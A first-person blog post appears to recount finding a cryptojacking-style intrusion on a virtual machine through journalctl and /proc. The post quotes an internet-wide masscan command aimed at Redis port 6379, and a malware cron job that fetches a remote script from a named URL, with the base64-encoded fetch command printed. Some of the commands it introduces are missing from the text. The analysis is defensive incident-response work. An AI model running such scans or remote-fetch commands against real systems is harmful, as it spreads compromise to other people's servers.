As the sun set on a typical Saturday evening, I found myself engrossed in a blog titled “Visualizing Malicious IP Addresses.” The author shared clever ways to detect unauthorized attempts to access virtual machines via SSH, using commands like:
Curious, I decided to try these commands on our own VM. To my relief, the output was zero—no unauthorized login attempts. But my curiosity was piqued. I delved deeper into journalctl, discovering a command to display all Systemd logs with process IDs:
Upon executing the query on our VM, I encountered an intriguing error that immediately captured my attention.
MESSAGE=/etc/.httpd/.../httpd: line 43: pnscan: command not found
“Pnscan?” I muttered to myself, furrowing my brows. A quick Google search revealed that “pnscan” is a tool for scanning network ports—a tool we certainly hadn’t authorized on our VM.
Determined to unravel this mystery, I extracted the process ID from the journalctl logs and ventured into the depths of the /proc directory. Inside the PID folder, I hoped to glean more insights into this rogue process.
My first stop was the cmdline file, where I discovered the command that initiated the process
`/bin/bash/etc/.httpd/.../httpd`
It seemed innocuous enough—a command to run the Apache server. But something didn’t add up. Next, I turned my attention to the fd folder, hoping to find clues in the standard output and standard error streams. To my surprise, there was nothing there—except for a mysterious file named 255.
I cat the content of of the file and i got the below content
The script appears to conduct a Redis database backup, despite our VM not utilizing Redis. Of particular interest is the line:
masscan: Performs a network scan.
--max-rate 10000: Limits packet sending to 10,000 per second.
-p6379: Targets port 6379, commonly associated with Redis.
--shard $( seq 1 22000 | sort -R | head -n1 )/22000: Divides the scan into shards, choosing a random shard from 1 to 22000.
--exclude 255.255.255.255 0.0.0.0/0: Excludes specific IP ranges from the scan.
2>/dev/null: Suppresses error messages.
| awk '{print $6, substr($4, 1, length($4)-4)}':
Processes masscan output to extract status and IP/port information.
| sort | uniq > .shard:
Sorts and removes duplicates from the extracted data, saving it to a file named .shard.
In summary, the script attempts to scan and connect to Redis servers across different networks, possibly with intentions to execute commands outlined in the .dat file, which could be malicious. Furthermore, it tries to disable SELinux and adjust user limits, suggesting unauthorized access and system modification. This underscores the importance of vigilance in monitoring and securing systems against potential threats.
the content of .dat file was
This script setup cron job to excute the script from remote url http://s.na-cs.com/b2f628/b.shencoded in base64 format (echo Y2QxIGh0dHA6Ly9zLm5hLWNzLmNvbS9iMmY2MjgvYi5zaAo=|base64), I encountered an unexpected roadblock—the URL was inaccessible. Despite my efforts to uncover the script’s intentions through the /proc file system, my investigation yielded no further insights.
Ultimately, I made the decision to delete the compromised VM and initiate the creation of a new one, ensuring the integrity of our system’s security.